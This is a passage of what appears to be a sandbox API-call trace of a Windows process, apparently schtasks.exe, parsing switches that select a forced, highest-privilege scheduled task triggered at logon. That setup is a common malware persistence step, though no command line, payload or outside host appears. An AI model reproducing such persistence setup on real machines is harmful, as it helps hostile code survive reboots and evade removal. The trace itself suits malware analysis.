4 [0083.793] _vsnwprintf (in: _Buffer=0x1cc300, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c1e8 | out: _Buffer="|f|") returned 3 [0083.793] lstrlenW (lpString="|rp|") returned 4 [0083.793] lstrlenW (lpString="|f|") returned 3 [0083.793] StrStrIW (lpFirst="|rp|", lpSrch="|f|") returned 0x0 [0083.793] SetLastError (dwErrCode=0x490) [0083.793] lstrlenW (lpString="sc") returned 2 [0083.793] lstrlenW (lpString="sc") returned 2 [0083.793] _memicmp (_Buf1=0x1cc1a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.793] lstrlenW (lpString="f") returned 1 [0083.793] _memicmp (_Buf1=0x1cc2e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.793] _vsnwprintf (in: _Buffer=0x1cc320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c1e8 | out: _Buffer="|sc|") returned 4 [0083.793] _vsnwprintf (in: _Buffer=0x1cc300, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c1e8 | out: _Buffer="|f|") returned 3 [0083.793] lstrlenW (lpString="|sc|") returned 4 [0083.793] lstrlenW (lpString="|f|") returned 3 [0083.793] StrStrIW (lpFirst="|sc|", lpSrch="|f|") returned 0x0 [0083.793] SetLastError (dwErrCode=0x490) [0083.793] lstrlenW (lpString="mo") returned 2 [0083.793] lstrlenW (lpString="mo") returned 2 [0083.793] _memicmp (_Buf1=0x1cc1a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.793] lstrlenW (lpString="f") returned 1 [0083.793] _memicmp (_Buf1=0x1cc2e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.793] _vsnwprintf (in: _Buffer=0x1cc320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c1e8 | out: _Buffer="|mo|") returned 4 [0083.794] _vsnwprintf (in: _Buffer=0x1cc300, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c1e8 | out: _Buffer="|f|") returned 3 [0083.794] lstrlenW (lpString="|mo|") returned 4 [0083.794] lstrlenW (lpString="|f|") returned 3 [0083.794] StrStrIW (lpFirst="|mo|", lpSrch="|f|") returned 0x0 [0083.794] SetLastError (dwErrCode=0x490) [0083.794] lstrlenW (lpString="d") returned 1 [0083.794] lstrlenW (lpString="d") returned 1 [0083.794] _memicmp (_Buf1=0x1cc1a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.794] lstrlenW (lpString="f") returned 1 [0083.794] _memicmp (_Buf1=0x1cc2e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.794] _vsnwprintf (in: _Buffer=0x1cc320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c1e8 | out: _Buffer="|d|") returned 3 [0083.794] _vsnwprintf (in: _Buffer=0x1cc300, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c1e8 | out: _Buffer="|f|") returned 3 [0083.794] lstrlenW (lpString="|d|") returned 3 [0083.794] lstrlenW (lpString="|f|") returned 3 [0083.794] StrStrIW (lpFirst="|d|", lpSrch="|f|") returned 0x0 [0083.794] SetLastError (dwErrCode=0x490) [0083.794] lstrlenW (lpString="m") returned 1 [0083.794] lstrlenW (lpString="m") returned 1 [0083.794] _memicmp (_Buf1=0x1cc1a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.794] lstrlenW (lpString="f") returned 1 [0083.794] _memicmp (_Buf1=0x1cc2e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.794] _vsnwprintf (in: _Buffer=0x1cc320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c1e8 | out: _Buffer="|m|") returned 3 [0083.794] _vsnwprintf (in: _Buffer=0x1cc300, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c1e8 | out: _Buffer="|f|") returned 3 [0083.794] lstrlenW (lpString="|m|") returned 3 [0083.795] lstrlenW (lpString="|f|") returned 3 [0083.795] StrStrIW (lpFirst="|m|", lpSrch="|f|") returned 0x0 [0083.795] SetLastError (dwErrCode=0x490) [0083.795] lstrlenW (lpString="i") returned 1 [0083.795] lstrlenW (lpString="i") returned 1 [0083.795] _memicmp (_Buf1=0x1cc1a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.795] lstrlenW (lpString="f") returned 1 [0083.795] _memicmp (_Buf1=0x1cc2e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.795] _vsnwprintf (in: _Buffer=0x1cc320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c1e8 | out: _Buffer="|i|") returned 3 [0083.795] _vsnwprintf (in: _Buffer=0x1cc300, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c1e8 | out: _Buffer="|f|") returned 3 [0083.795] lstrlenW (lpString="|i|") returned 3 [0083.795] lstrlenW (lpString="|f|") returned 3 [0083.795] StrStrIW (lpFirst="|i|", lpSrch="|f|") returned 0x0 [0083.795] SetLastError (dwErrCode=0x490) [0083.795] lstrlenW (lpString="tn") returned 2 [0083.795] lstrlenW (lpString="tn") returned 2 [0083.795] _memicmp (_Buf1=0x1cc1a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.795] lstrlenW (lpString="f") returned 1 [0083.795] _memicmp (_Buf1=0x1cc2e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.796] _vsnwprintf (in: _Buffer=0x1cc320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c1e8 | out: _Buffer="|tn|") returned 4 [0083.796] _vsnwprintf (in: _Buffer=0x1cc300, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c1e8 | out: _Buffer="|f|") returned 3 [0083.796] lstrlenW (lpString="|tn|") returned 4 [0083.796] lstrlenW (lpString="|f|") returned 3 [0083.796] StrStrIW (lpFirst="|tn|", lpSrch="|f|") returned 0x0 [0083.796] SetLastError (dwErrCode=0x490) [0083.796] lstrlenW (lpString="tr") returned 2 [0083.796] lstrlenW (lpString="tr") returned 2 [0083.796] _memicmp (_Buf1=0x1cc1a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.796] lstrlenW (lpString="f") returned 1 [0083.796] _memicmp (_Buf1=0x1cc2e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.796] _vsnwprintf (in: _Buffer=0x1cc320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c1e8 | out: _Buffer="|tr|") returned 4 [0083.796] _vsnwprintf (in: _Buffer=0x1cc300, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c1e8 | out: _Buffer="|f|") returned 3 [0083.797] lstrlenW (lpString="|tr|") returned 4 [0083.797] lstrlenW (lpString="|f|") returned 3 [0083.797] StrStrIW (lpFirst="|tr|", lpSrch="|f|") returned 0x0 [0083.797] SetLastError (dwErrCode=0x490) [0083.797] lstrlenW (lpString="st") returned 2 [0083.797] lstrlenW (lpString="st") returned 2 [0083.797] _memicmp (_Buf1=0x1cc1a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.797] lstrlenW (lpString="f") returned 1 [0083.797] _memicmp (_Buf1=0x1cc2e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.797] _vsnwprintf (in: _Buffer=0x1cc320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c1e8 | out: _Buffer="|st|") returned 4 [0083.797] _vsnwprintf (in: _Buffer=0x1cc300, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c1e8 | out: _Buffer="|f|") returned 3 [0083.797] lstrlenW (lpString="|st|") returned 4 [0083.797] lstrlenW (lpString="|f|") returned 3 [0083.797] StrStrIW (lpFirst="|st|", lpSrch="|f|") returned 0x0 [0083.797] SetLastError (dwErrCode=0x490) [0083.797] lstrlenW (lpString="sd") returned 2 [0083.797] lstrlenW (lpString="sd") returned 2 [0083.797] _memicmp (_Buf1=0x1cc1a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.797] lstrlenW (lpString="f") returned 1 [0083.797] _memicmp (_Buf1=0x1cc2e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.797] _vsnwprintf (in: _Buffer=0x1cc320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c1e8 | out: _Buffer="|sd|") returned 4 [0083.797] _vsnwprintf (in: _Buffer=0x1cc300, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c1e8 | out: _Buffer="|f|") returned 3 [0083.797] lstrlenW (lpString="|sd|") returned 4 [0083.797] lstrlenW (lpString="|f|") returned 3 [0083.797] StrStrIW (lpFirst="|sd|", lpSrch="|f|") returned 0x0 [0083.798] SetLastError (dwErrCode=0x490) [0083.798] lstrlenW (lpString="ed") returned 2 [0083.798] lstrlenW (lpString="ed") returned 2 [0083.798] _memicmp (_Buf1=0x1cc1a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.798] lstrlenW (lpString="f") returned 1 [0083.798] _memicmp (_Buf1=0x1cc2e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.798] _vsnwprintf (in: _Buffer=0x1cc320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c1e8 | out: _Buffer="|ed|") returned 4 [0083.798] _vsnwprintf (in: _Buffer=0x1cc300, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c1e8 | out: _Buffer="|f|") returned 3 [0083.798] lstrlenW (lpString="|ed|") returned 4 [0083.798] lstrlenW (lpString="|f|") returned 3 [0083.798] StrStrIW (lpFirst="|ed|", lpSrch="|f|") returned 0x0 [0083.798] SetLastError (dwErrCode=0x490) [0083.798] lstrlenW (lpString="it") returned 2 [0083.798] lstrlenW (lpString="it") returned 2 [0083.798] _memicmp (_Buf1=0x1cc1a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.798] lstrlenW (lpString="f") returned 1 [0083.798] _memicmp (_Buf1=0x1cc2e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.798] _vsnwprintf (in: _Buffer=0x1cc320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c1e8 | out: _Buffer="|it|") returned 4 [0083.798] _vsnwprintf (in: _Buffer=0x1cc300, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c1e8 | out: _Buffer="|f|") returned 3 [0083.798] lstrlenW (lpString="|it|") returned 4 [0083.798] lstrlenW (lpString="|f|") returned 3 [0083.798] StrStrIW (lpFirst="|it|", lpSrch="|f|") returned 0x0 [0083.798] SetLastError (dwErrCode=0x490) [0083.798] lstrlenW (lpString="et") returned 2 [0083.798] lstrlenW (lpString="et") returned 2 [0083.799] _memicmp (_Buf1=0x1cc1a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.799] lstrlenW (lpString="f") returned 1 [0083.799] _memicmp (_Buf1=0x1cc2e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.799] _vsnwprintf (in: _Buffer=0x1cc320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c1e8 | out: _Buffer="|et|") returned 4 [0083.799] _vsnwprintf (in: _Buffer=0x1cc300, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c1e8 | out: _Buffer="|f|") returned 3 [0083.799] lstrlenW (lpString="|et|") returned 4 [0083.799] lstrlenW (lpString="|f|") returned 3 [0083.799] StrStrIW (lpFirst="|et|", lpSrch="|f|") returned 0x0 [0083.799] SetLastError (dwErrCode=0x490) [0083.799] lstrlenW (lpString="k") returned 1 [0083.799] lstrlenW (lpString="k") returned 1 [0083.799] _memicmp (_Buf1=0x1cc1a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.799] lstrlenW (lpString="f") returned 1 [0083.799] _memicmp (_Buf1=0x1cc2e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.799] _vsnwprintf (in: _Buffer=0x1cc320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c1e8 | out: _Buffer="|k|") returned 3 [0083.799] _vsnwprintf (in: _Buffer=0x1cc300, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c1e8 | out: _Buffer="|f|") returned 3 [0083.799] lstrlenW (lpString="|k|") returned 3 [0083.799] lstrlenW (lpString="|f|") returned 3 [0083.799] StrStrIW (lpFirst="|k|", lpSrch="|f|") returned 0x0 [0083.799] SetLastError (dwErrCode=0x490) [0083.799] lstrlenW (lpString="du") returned 2 [0083.799] lstrlenW (lpString="du") returned 2 [0083.799] _memicmp (_Buf1=0x1cc1a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.799] lstrlenW (lpString="f") returned 1 [0083.799] _memicmp (_Buf1=0x1cc2e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.800] _vsnwprintf (in: _Buffer=0x1cc320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c1e8 | out: _Buffer="|du|") returned 4 [0083.800] _vsnwprintf (in: _Buffer=0x1cc300, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c1e8 | out: _Buffer="|f|") returned 3 [0083.800] lstrlenW (lpString="|du|") returned 4 [0083.800] lstrlenW (lpString="|f|") returned 3 [0083.800] StrStrIW (lpFirst="|du|", lpSrch="|f|") returned 0x0 [0083.800] SetLastError (dwErrCode=0x490) [0083.800] lstrlenW (lpString="ri") returned 2 [0083.800] lstrlenW (lpString="ri") returned 2 [0083.800] _memicmp (_Buf1=0x1cc1a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.800] lstrlenW (lpString="f") returned 1 [0083.800] _memicmp (_Buf1=0x1cc2e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.800] _vsnwprintf (in: _Buffer=0x1cc320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c1e8 | out: _Buffer="|ri|") returned 4 [0083.800] _vsnwprintf (in: _Buffer=0x1cc300, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c1e8 | out: _Buffer="|f|") returned 3 [0083.800] lstrlenW (lpString="|ri|") returned 4 [0083.800] lstrlenW (lpString="|f|") returned 3 [0083.800] StrStrIW (lpFirst="|ri|", lpSrch="|f|") returned 0x0 [0083.800] SetLastError (dwErrCode=0x490) [0083.800] lstrlenW (lpString="z") returned 1 [0083.800] lstrlenW (lpString="z") returned 1 [0083.800] _memicmp (_Buf1=0x1cc1a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.800] lstrlenW (lpString="f") returned 1 [0083.800] _memicmp (_Buf1=0x1cc2e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.800] _vsnwprintf (in: _Buffer=0x1cc320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c1e8 | out: _Buffer="|z|") returned 3 [0083.800] _vsnwprintf (in: _Buffer=0x1cc300, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c1e8 | out: _Buffer="|f|") returned 3 [0083.801] lstrlenW (lpString="|z|") returned 3 [0083.801] lstrlenW (lpString="|f|") returned 3 [0083.801] StrStrIW (lpFirst="|z|", lpSrch="|f|") returned 0x0 [0083.801] SetLastError (dwErrCode=0x490) [0083.801] lstrlenW (lpString="f") returned 1 [0083.801] lstrlenW (lpString="f") returned 1 [0083.801] _memicmp (_Buf1=0x1cc1a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.801] lstrlenW (lpString="f") returned 1 [0083.801] _memicmp (_Buf1=0x1cc2e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.801] _vsnwprintf (in: _Buffer=0x1cc320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c1e8 | out: _Buffer="|f|") returned 3 [0083.801] _vsnwprintf (in: _Buffer=0x1cc300, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c1e8 | out: _Buffer="|f|") returned 3 [0083.801] lstrlenW (lpString="|f|") returned 3 [0083.801] lstrlenW (lpString="|f|") returned 3 [0083.801] StrStrIW (lpFirst="|f|", lpSrch="|f|") returned="|f|" [0083.801] SetLastError (dwErrCode=0x0) [0083.801] SetLastError (dwErrCode=0x0) [0083.801] GetProcessHeap () returned 0x1b0000 [0083.801] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0xc, Size=0x20) returned 0x1cce10 [0083.801] _memicmp (_Buf1=0x1cbb90, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.801] LoadStringW (in: hInstance=0x0, uID=0x20d, lpBuffer=0x1cd3a0, cchBufferMax=256 | out: lpBuffer="LIMITED") returned 0x7 [0083.801] lstrlenW (lpString="LIMITED") returned 7 [0083.801] GetProcessHeap () returned 0x1b0000 [0083.801] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0xc, Size=0x10) returned 0x1cd640 [0083.801] GetThreadLocale () returned 0x409 [0083.801] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="HIGHEST", cchCount1=-1, lpString2="LIMITED", cchCount2=-1) returned 1 [0083.802] GetProcessHeap () returned 0x1b0000 [0083.802] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0xc, Size=0x20) returned 0x1ccde0 [0083.802] _memicmp (_Buf1=0x1cbb90, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.802] LoadStringW (in: hInstance=0x0, uID=0x20e, lpBuffer=0x1cd3a0, cchBufferMax=256 | out: lpBuffer="HIGHEST") returned 0x7 [0083.802] lstrlenW (lpString="HIGHEST") returned 7 [0083.802] GetProcessHeap () returned 0x1b0000 [0083.802] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0xc, Size=0x10) returned 0x1cd660 [0083.802] GetThreadLocale () returned 0x409 [0083.802] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="HIGHEST", cchCount1=-1, lpString2="HIGHEST", cchCount2=-1) returned 2 [0083.802] GetProcessHeap () returned 0x1b0000 [0083.802] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0xc, Size=0x20) returned 0x1ccdb0 [0083.802] _memicmp (_Buf1=0x1cbb90, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.802] LoadStringW (in: hInstance=0x0, uID=0x1ae, lpBuffer=0x1cd3a0, cchBufferMax=256 | out: lpBuffer="MINUTE") returned 0x6 [0083.802] lstrlenW (lpString="MINUTE") returned 6 [0083.802] GetProcessHeap () returned 0x1b0000 [0083.802] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0xc, Size=0xe) returned 0x1cd680 [0083.802] GetThreadLocale () returned 0x409 [0083.802] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="MINUTE", cchCount2=-1) returned 3 [0083.802] GetProcessHeap () returned 0x1b0000 [0083.802] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0xc, Size=0x20) returned 0x1ccd80 [0083.802] _memicmp (_Buf1=0x1cbb90, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.802] LoadStringW (in: hInstance=0x0, uID=0x1af, lpBuffer=0x1cd3a0, cchBufferMax=256 | out: lpBuffer="HOURLY") returned 0x6 [0083.802] lstrlenW (lpString="HOURLY") returned 6 [0083.803] GetProcessHeap () returned 0x1b0000 [0083.803] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0xc, Size=0xe) returned 0x1cd6a0 [0083.803] GetThreadLocale () returned 0x409 [0083.803] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="HOURLY", cchCount2=-1) returned 3 [0083.803] GetProcessHeap () returned 0x1b0000 [0083.803] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0xc, Size=0x20) returned 0x1ccd50 [0083.803] _memicmp (_Buf1=0x1cbb90, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.803] LoadStringW (in: hInstance=0x0, uID=0x1b0, lpBuffer=0x1cd3a0, cchBufferMax=256 | out: lpBuffer="DAILY") returned 0x5 [0083.803] lstrlenW (lpString="DAILY") returned 5 [0083.803] GetProcessHeap () returned 0x1b0000 [0083.803] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0xc, Size=0xc) returned 0x1cd6c0 [0083.803] GetThreadLocale () returned 0x409 [0083.803] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="DAILY", cchCount2=-1) returned 3 [0083.803] GetProcessHeap () returned 0x1b0000 [0083.803] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0xc, Size=0x20) returned 0x1ccd20 [0083.803] _memicmp (_Buf1=0x1cbb90, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.803] LoadStringW (in: hInstance=0x0, uID=0x1b1, lpBuffer=0x1cd3a0, cchBufferMax=256 | out: lpBuffer="WEEKLY") returned 0x6 [0083.803] lstrlenW (lpString="WEEKLY") returned 6 [0083.803] GetProcessHeap () returned 0x1b0000 [0083.803] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0xc, Size=0xe) returned 0x1cd6e0 [0083.803] GetThreadLocale () returned 0x409 [0083.803] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="WEEKLY", cchCount2=-1) returned 1 [0083.803] GetProcessHeap () returned 0x1b0000 [0083.803] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0xc, Size=0x20) returned 0x1cccf0 [0083.803] _memicmp (_Buf1=0x1cbb90, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.804] LoadStringW (in: hInstance=0x0, uID=0x1b2, lpBuffer=0x1cd3a0, cchBufferMax=256 | out: lpBuffer="MONTHLY") returned 0x7 [0083.804] lstrlenW (lpString="MONTHLY") returned 7 [0083.804] GetProcessHeap () returned 0x1b0000 [0083.804] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0xc, Size=0x10) returned 0x1cd700 [0083.804] GetThreadLocale () returned 0x409 [0083.804] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="MONTHLY", cchCount2=-1) returned 3 [0083.804] _memicmp (_Buf1=0x1cbb90, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.804] LoadStringW (in: hInstance=0x0, uID=0x1b3, lpBuffer=0x1cd3a0, cchBufferMax=256 | out: lpBuffer="ONCE") returned 0x4 [0083.804] lstrlenW (lpString="ONCE") returned 4 [0083.804] GetProcessHeap () returned 0x1b0000 [0083.804] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0xc, Size=0xa) returned 0x1cd720 [0083.804] GetThreadLocale () returned 0x409 [0083.804] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="ONCE", cchCount2=-1) returned 3 [0083.804] _memicmp (_Buf1=0x1cbb90, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.804] LoadStringW (in: hInstance=0x0, uID=0x1b4, lpBuffer=0x1cd3a0, cchBufferMax=256 | out: lpBuffer="ONSTART") returned 0x7 [0083.804] lstrlenW (lpString="ONSTART") returned 7 [0083.804] GetThreadLocale () returned 0x409 [0083.804] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="ONSTART", cchCount2=-1) returned 1 [0083.804] _memicmp (_Buf1=0x1cbb90, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.804] LoadStringW (in: hInstance=0x0, uID=0x1b5, lpBuffer=0x1cd3a0, cchBufferMax=256 | out: lpBuffer="ONLOGON") returned 0x7 [0083.804] lstrlenW (lpString="ONLOGON") returned 7 [0083.804] GetThreadLocale () returned 0x409 [0083.804] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="ONLOGON", cchCount2=-1) returned 2 [0083.805] SetLastError (dwErrCode=0x0) [0083.805] GetProcessHeap () returned 0x1b0000 [0083.805] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0xc, Size=0x1fc) returned 0x1cc430 [0083.805] _memicmp (_Buf1=0x1cbb90, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.805] LoadStringW (in: hInstance=0x0, uID=0x1d7, lpBuffer=0x1cd3a0, cchBufferMax=256 | out: lpBuffer="First") returned 0x5 [0083.805] lstrlenW (lpString="First") returned 5 [0083.805] _memicmp (_Buf1=0x1cbb90, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.805] LoadStringW (in: hInstance=0x0, uID=0x1d8, lpBuffer=0x1cd3a0, cchBufferMax=256 | out: lpBuffer="Second") returned 0x6 [0083.805] lstrlenW (lpString="Second") returned 6 [0083.805] _memicmp (_Buf1=0x1cbb90, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.805] LoadStringW (in: hInstance=0x0, uID=0x1d9, lpBuffer=0x1cd3a0, cchBufferMax=256 | out: lpBuffer="Third") returned 0x5 [0083.805] lstrlenW (lpString="Third") returned 5 [0083.805] _memicmp (_Buf1=0x1cbb90, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.805] LoadStringW (in: hInstance=0x0, uID=0x1da, lpBuffer=0x1cd3a0, cchBufferMax=256 | out: lpBuffer="Fourth") returned 0x6 [0083.805] lstrlenW (lpString="Fourth") returned 6 [0083.805] _memicmp (_Buf1=0x1cbb90, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.805] LoadStringW (in: hInstance=0x0, uID=0x1db, lpBuffer=0x1cd3a0, cchBufferMax=256 | out: lpBuffer="Last") returned 0x4 [0083.805] lstrlenW (lpString="Last") returned 4 [0083.805] _memicmp (_Buf1=0x1cbb90, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.805] LoadStringW (in: hInstance=0x0, uID=0x1d7, lpBuffer=0x1cd3a0, cchBufferMax=256 | out: lpBuffer="First") returned 0x5 [0083.805] lstrlenW (lpString="First") returned 5 [0083.806] _memicmp (_Buf1=0x1cbb90, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.806] LoadStringW (in: hInstance=0x0, uID=0x1d8, lpBuffer=0x1cd3a0, cchBufferMax=256 | out: lpBuffer="Second") returned 0x6 [0083.806] lstrlenW (lpString="Second") returned 6 [0083.806] _memicmp (_Buf1=0x1cbb90, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.806] LoadStringW (in: hInstance=0x0, uID=0x1d9, lpBuffer=0x1cd3a0, cchBufferMax=256 | out: lpBuffer="Third") returned 0x5 [0083.806] lstrlenW (lpString="Third") returned 5 [0083.806] GetProcessHeap () returned 0x1b0000 [0083.806] GetProcessHeap () returned 0x1b0000 [0083.806] HeapValidate (hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cd720) returned 1 [0083.806] GetProcessHeap () returned 0x1b0000 [0083.806] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1cd720) returned 0xa [0083.806] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cd720 | out: hHeap=0x1b0000) returned 1 [0083.806] GetProcessHeap () returned 0x1b0000 [0083.806] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0xc, Size=0xc) returned 0x1cd720 [0083.806] _memicmp (_Buf1=0x1cbb90, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.806] LoadStringW (in: hInstance=0x0, uID=0x1da, lpBuffer=0x1cd3a0, cchBufferMax=256 | out: lpBuffer="Fourth") returned 0x6 [0083.806] lstrlenW (lpString="Fourth") returned 6 [0083.806] _memicmp (_Buf1=0x1cbb90, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.806] LoadStringW (in: hInstance=0x0, uID=0x1db, lpBuffer=0x1cd3a0, cchBufferMax=256 | out: lpBuffer="Last") returned 0x4 [0083.806] lstrlenW (lpString="Last") returned 4 [0083.806] GetLocaleInfoW (in: Locale=0x400, LCType=0x21, lpLCData=0x11c060, cchData=128 | out: lpLCData="0") returned 2 [0083.807] _memicmp (_Buf1=0x1cbb90, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.807] LoadStringW (in: hInstance=0x0, uID=0x19c, lpBuffer=0x1cd3a0, cchBufferMax=256 | out: lpBuffer="mm/dd/yyyy") returned 0xa [0083.807] lstrlenW (lpString="mm/dd/yyyy") returned 10 [0083.807] GetProcessHeap () returned 0x1b0000 [0083.807] GetProcessHeap () returned 0x1b0000 [0083.807] HeapValidate (hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cd640) returned 1 [0083.807] GetProcessHeap () returned 0x1b0000 [0083.807] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1cd640) returned 0x10 [0083.807] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cd640 | out: hHeap=0x1b0000) returned 1 [0083.807] GetProcessHeap () returned 0x1b0000 [0083.807] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0xc, Size=0x16) returned 0x1cd640 [0083.807] GetLocaleInfoW (in: Locale=0x400, LCType=0x21, lpLCData=0x11c080, cchData=128 | out: lpLCData="0") returned 2 [0083.807] _memicmp (_Buf1=0x1cbb90, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.807] LoadStringW (in: hInstance=0x0, uID=0x19c, lpBuffer=0x1cd3a0, cchBufferMax=256 | out: lpBuffer="mm/dd/yyyy") returned 0xa [0083.807] lstrlenW (lpString="mm/dd/yyyy") returned 10 [0083.807] GetProcessHeap () returned 0x1b0000 [0083.807] GetProcessHeap () returned 0x1b0000 [0083.807] HeapValidate (hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cd660) returned 1 [0083.807] GetProcessHeap () returned 0x1b0000 [0083.807] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1cd660) returned 0x10 [0083.807] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cd660 | out: hHeap=0x1b0000) returned 1 [0083.807] GetProcessHeap () returned 0x1b0000 